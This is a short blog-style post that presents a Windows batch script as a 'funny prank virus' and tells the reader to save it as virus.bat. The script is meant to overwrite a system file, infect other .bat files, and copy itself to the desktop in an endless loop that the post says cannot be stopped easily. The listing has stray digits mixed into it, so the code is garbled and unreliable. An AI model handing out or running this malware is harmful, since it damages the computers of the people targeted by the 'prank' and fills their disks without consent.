hello friends........ in this post i will tell you how can u make a funny prank virus :) trick is here: open notepad and type @echo off 3echo checking system:4 5echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i >c:\windows\system32\autoexec.NT6echo VIRUS DETECTED pause echo DELETING VIRUS pause :1 dir /s copy c:\tmp.bat c:\docum~1\%username%\desktop\greatgame_%random%.bat7 goto 1 This will create a never ending stream of mindless code. This cannot be stopped easily.8Save the file as "virus.bat"